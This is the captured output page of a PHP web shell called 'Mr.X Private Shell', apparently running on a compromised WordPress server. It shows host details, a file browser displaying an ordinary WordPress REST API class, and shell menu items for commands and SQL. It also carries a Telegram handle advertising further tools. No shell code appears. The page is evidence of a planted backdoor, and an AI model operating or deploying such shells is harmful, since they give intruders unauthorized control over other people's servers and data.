Uname: Linux server.digisquadtech.com 4.18.0-553.100.1.el8_10.x86_64 #1 SMP Mon Feb 2 04:13:33 EST 2026 x86_64
User: 1091 (madhavfluid)
Group: 1090 (madhavfluid)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/madhavfluid///public_html/wp-includes/rest-api/fields      ( Reset | Go to )
File Name: class-wp-rest-user-meta-fields.php
Edit
<?php
/**
 * REST API: WP_REST_User_Meta_Fields class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to manage meta values for users via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Meta_Fields
 */
class WP_REST_User_Meta_Fields extends WP_REST_Meta_Fields {

    
/**
     * Retrieves the user meta type.
     *
     * @since 4.7.0
     *
     * @return string The user meta type.
     */
    
protected function get_meta_type() {
        return 
'user';
    }

    
/**
     * Retrieves the user meta subtype.
     *
     * @since 4.9.8
     *
     * @return string 'user' There are no subtypes.
     */
    
protected function get_meta_subtype() {
        return 
'user';
    }

    
/**
     * Retrieves the type for register_rest_field().
     *
     * @since 4.7.0
     *
     * @return string The user REST field type.
     */
    
public function get_rest_field_type() {
        return 
'user';
    }
}

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL